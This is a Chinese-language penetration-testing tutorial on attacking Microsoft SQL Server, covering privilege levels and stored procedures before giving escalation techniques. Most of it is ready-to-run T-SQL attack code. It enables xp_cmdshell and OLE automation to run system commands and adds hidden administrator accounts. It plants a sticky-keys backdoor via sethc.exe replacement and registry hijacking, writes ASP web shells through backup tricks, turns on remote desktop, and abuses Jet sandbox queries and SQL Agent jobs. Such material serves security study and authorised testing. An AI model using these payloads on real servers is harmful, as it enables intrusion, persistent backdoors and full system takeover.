渗透测试-29:MsSQL
基础知识
-
端口号
:1433 -
SA用户
:SA(System Administrator)表示系统管理员,在 SQLServer2019 之前的 SA用户 都是系统最高权限用户 SYSTEM,但在2019版本时为普通数据库用户 mssqlserver,是一个低权用户。 -
权限级别:
sa权限
:数据库操作,文件管理,命令执行,注册表读取等价于 system(SQLServer 数据库的最高权限)db权限
:文件管理,数据库操作等价于 users-administratorspublic权限
:数据库操作等价于 guest-users
-
存储过程:
-
MSSQL 存储过程是一个可编程的函数,它在数据库中创建并保存,是使用 T_SQL 编写的代码段,目的在于能够方便的从系统表中查询信息。
-
数据库中的存储过程可以看做是对编程中面向对象方法的模拟。
-
它允许控制数据的访问方式,使用
execute
命令执行存储过程,可以将存储过程理解为函数调用的过程。 -
简单来说,存储过程就是一条或者多条 sql 语句的集合,可视为批处理文件
-
存储过程可分为三类:
系统存储过程
:主要存储在 master 数据库中,以sp_
为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名扩展存储过程
:是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以xp_
为前缀,使用方法与系统存储过程类似用户定义的存储过程
:是 SQLServer 的使用者编写的存储过程
-
常见的存储过程:
xp_cmdshell # 执行系统命令 xp_fileexist # 确定一个文件是否存在 xp_getfiledetails # 获得文件详细资料 xp_dirtree # 展开你需要了解的目录,获得所有目录深度 Xp_getnetname # 获得服务器名称 # 注册表访问的存储过程 Xp_regwrite Xp_regread Xp_regdeletekey Xp_regaddmultistring Xp_regdeletevalue Xp_regenumvalues Xp_regremovemultistring # OLE自动存储过程 Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty Sp_OAMethod Sp_OASetProperty Sp_OAStop
-
-
系统数据库:
master
:master 数据库控制 SQLserver 数据库所有方面。这个数据库中包括了所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息等。model
:model 数据库是建立所有用户数据库时的模版。新建数据库时,SQLserver 会把 model 数据库中的所有对象建立一份拷贝并移到新数据库中。在模版对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。msdb
:msdb 数据库是 SQLserver 数据库中的特例,若想查看此数据库的实际定义,会发现它其实是一个用户数据库。所有的任务调度、报警、操作员都存储在 msdb 数据库中。该库的另一个功能是用来存储所有备份历史。SQLserver agent 将会使用这个库。tempdb
:据库是一个非常特殊的数据库,供所有来访问你的 SQL Server 的用户使用。这个库用来保存所有的临时表、存储过程和其他 SQL Server 建立的临时用的东西。例如,排序时要用到 tempdb 数据库。数据被放进 tempdb 数据库,排完序后再把结果返回给用户。每次 SQL Server 重新启动,它都会清空 tempdb 数据库并重建。永远不要在 tempdb 数据库建立需要永久保存的表。
-
下载地址:
SQL Server 2019
:https://www.microsoft.com/zh-cn/sql-server/sql-server-downloadsSQL Server 2008
:https://www.microsoft.com/zh-CN/download/details.aspx?id=30438
-
常用语句:
-- 查看数据库版本 select @@VERSION -- 获取所有数据库名 SELECT name FROM MASter..SysDatabASes ORDER BY name -- 查询所有数据库中的表名 SELECT SysObjects.name AS Tablename FROM sysobjects WHERE xtype = 'U' and sysstat<200 -- 列出所有c:\文件、目录、子目录 exec xp_dirtree 'c:' -- 列出c:\目录 exec xp_dirtree 'c:',1 -- 列出c:\目录、文件 exec xp_dirtree 'c:',1,1 -- 列出c:\目录 exec xp_subdirs 'C:'; -- 判断是否是SA权限 select is_srvrolemember('sysadmin') -- 判断是否是db_owner权限 select is_member('db_owner') -- 判断是否是public权限 select is_srvrolemember('public') -- 查看OLE Automation Procedures的当前设置 EXEC sp_configure 'Ole Automation Procedures'
-
SQL Server 沙盒
- 沙盒模式是一种安全功能,用于限制数据库只对控件和字段属性中的安全且不含恶意代码的表达式求值。
- 如果表达式不使用可能以某种方式损坏数据的函数或属性(如 Kill 和 Shell 之类的函数),则可认为它是安全的。
- 当数据库以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。
- 沙盒提权的原理就是
jet.oledb
(修改注册表)执行系统命令。 - 数据库通过查询方式调用
mdb
文件,执行参数,绕过系统本身自己的执行命令,实现mdb
文件执行命令。
MsSQL提权
xp_cmdshell提权
-- xp_cmdshell 提权
-- xp_cmdshell 是 SqlServer 中的一个组件,在拿到 sa 口令之后,可以用来执行系统命令
-- 查看 xp_cmdshell 组件是否启用
select COUNT(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
-- 开启允许编辑高级选项
exec sp_configure 'show advanced options',1;
reconfigure;
-- 开启 xp_cmdshell
exec sp_configure 'xp_cmdshell',1;
reconfigure;
-- 执行命令
exec xp_cmdshell 'whoami';
master..xp_cmdshell 'whoami';
master.dbo.xp_cmdshell 'ipconfig';
-- 关闭 xp_cmdshell
exec sp_configure 'xp_cmdshell',0;
reconfigure;
-- 关闭允许编辑高级选项
exec sp_configure 'show advanced options',0;
reconfigure;
-- 删除 xp_cmdshell 存储过程,若想彻底删除 xp_cmdshell 扩展存储过程,建议在 C盘 里直接搜索 xplog70.dll,然后删除 xp_cmdshell
exec sp_dropextendedproc 'xp_cmdshell'
-- 被删除后,重新添加 xp_cmdshell 存储过程
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';
sp_oacreate提权
-- sp_oacreate 提权
-- 如果xp_cmdshell扩展存储过程被删除或者无法使用,可以使用 sp_oacreate 和 sp_oamethod 调用系统 wscript.shell 来执行系统命令。
-- sp_oacreate系统存储过程可以用于对文件删除、复制、移动等操作,还可以配合sp_oamethod系统存储过程调用系统 wscript.shell 来执行系统命令。
-- sp_oacreate 和 sp_oamethod 两个过程分别用来创建和执行脚本语言。
-- 利用条件
/*
已获取到 sqlserver sysadmin 权限用户的账号与密码且未降权(如 2019版本 sa用户 权限为 mssqlserver,已降权)
sqlserver 允许远程连接
OLE Automation Procedures 选项开启
*/
-- 查看 sp_oacreate 状态,返回1表示存在sp_oacreate系统存储过程
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';
-- 开启 sp_oacreate
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;
exec sp_configure 'show advanced options',0;
reconfigure;
-- 关闭 sp_oacreate
exec sp_configure 'show advanced options',1;
reconfigure with override;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure with override;
exec sp_configure 'show advanced options',0;
reconfigure with override;
-- 调用 wscript.shell 执行命令
-- 创建文件,回显0表示成功
declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > C:\phpstudy\www\test1.txt';
-- 删除文件
declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'C:\phpstudy\www\test1.txt'
exec sp_oadestroy @fso_token
-- 复制文件
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'copyfile',null,'C:\phpstudy\www\test.txt','C:\phpstudy\www\test1.txt'
-- 创建用户
declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user Toki 123456 /add';
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Toki /add';
-- 替换 sethc 键
declare @o int;
exec sp_oacreate 'scripting.filesystemobject', @o out;
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int;
exec sp_oacreate 'scripting.filesystemobject', @oo out;
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\dllcache\sethc.exe';
-- 启动项中写入添加账户脚本
declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';
-- COM组件的利用(cmd.exe 可以自行上传)
declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
exec sp_oamethod @luan,'exec',@exec output,'C:\\phpstudy\\www\\test.com\\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;
-- 四种文件写入的方法
-- 利用条件
/*
物理路径已知
拥有sa权限
*/
-- 第一种存储过程写文件
declare @o int, @f int, @t int, @ret int;
exec sp_oacreate 'scripting.filesystemobject', @o out;
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\\phpstudy\\www\\shell.asp', 1;
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>';
-- 第二种存储过程写文件,select '<%Execute(request("a"))%>' C:\zwell.asp
declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;
-- 第三种log备份,<%execute(request("a"))%>
alter database <库名> set RECOVERY FULL;
create table cmd (a image);
backup log <库名> to disk = 'c:\\' with init;
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E);
backup log <库名> to disk = 'c:\shell.asp';
-- 第四种差异备份,<%execute(request("a"))%>
backup database <库名> to disk = 'c:\bak.bak';
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database <库名> to disk='c:\shell.asp' WITH DIFFERENTIAL,FORMAT;
镜像劫持提权
-- 通过使用 xp_regwrite 存储过程对注册表进行修改,替换成任意值,造成镜像劫持。
-- 利用条件
/*
1.未禁止注册表编辑(即写入功能)
2.xp_regwrite启用
*/
-- 查看xp_regwrite是否启用
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'
-- 开启xp_regwrite
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE
-- 关闭xp_regwrite
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',0
RECONFIGURE
-- 修改注册表,利用 regwrite 函数修改注册表进行劫持
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
-- 查看是否修改成功文件
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
-- 进入注册表查看是否修改成功,验证远程连接桌面,连续按5次 shift 就可以调用cmd窗口
-- 粘滞键同理
-- 删除粘滞键的键值
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
-- 开启3389端口
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"
沙盒提权
-- 利用条件
/*
需要 Microsoft.Jet.OLEDB.4.0 一般在 32位 系统才可以,64位 机需要 12.0,较复杂
dnary.mdb 和 ias.mdb 两个文件,在 win2003 上默认存在,也可自行准备
*/
-- 测试 jet.oledb 能否使用
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")')
-- 开启Ad Hoc Distributed Queries 组件
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;
-- 关闭Ad Hoc Distributed Queries 组件
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',0;
reconfigure;
-- 沙盒模式参数含义
/*
沙盒模式 SandBoxMode 参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1:为仅在允许范围内
2:必须在 access 模式下
3:完全开启
*/
-- 关闭沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
-- 查看沙盒模式(以下方法需要在32位系统执行)
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
-- 提权创建账户
select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user Toki 123456 /add")');
-- 报错:'c:\windows\system32\ias\ias.mdb',解决方法:https://documentation.help/InfoSec-cn/69cc2e9c-95e8-4c82-a787-440190c28fbc.htm,复制准备好dnary.mdb和ias.mdb两个文件,然后放入本地在执行后成功创建
-- Windows 2003 + SQL Server2000 沙盒模式执行命令的语句:(Windows 2003 系统c:\windows\system32\ias\目录下默认自带了2个Access数据库文件ias.mdb/dnary.mdb,所以直接调用即可.)
select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user > c:\test.txt ")');
-- Windows 2008 R2+SQL Server2005 沙盒模式执行命令的语句:(Windows 2008 R2 默认无 Access 数据库文件,需要自己上传,或者用 UNC 路径加载文件方能执行命令)
select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user > c:\test.txt ")');
-- 添加到管理员组,如果遇到问题参考这里的解析:http://blog.chinaunix.net/uid-28966230-id-4291781.html
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators Toki /add")');
-- 查询情况
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user > c:\\2.txt")');
-- 调用dnary.mdb
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\\3.txt ")')
-- 恢复配置
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
JOB提权
-- JOB提权原理是创建一个任务 x,并执行命令,命令执行后的结果,将返回给文档 xxx.txt
-- 启动 sqlagent 服务
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
-- 创建任务
use msdb
exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user Toki 123456 /add & net localgroup administrators Toki /add > c:/result.txt"'
exec sp_add_jobserver null,'x',@@servername
exec sp_start_job 'x';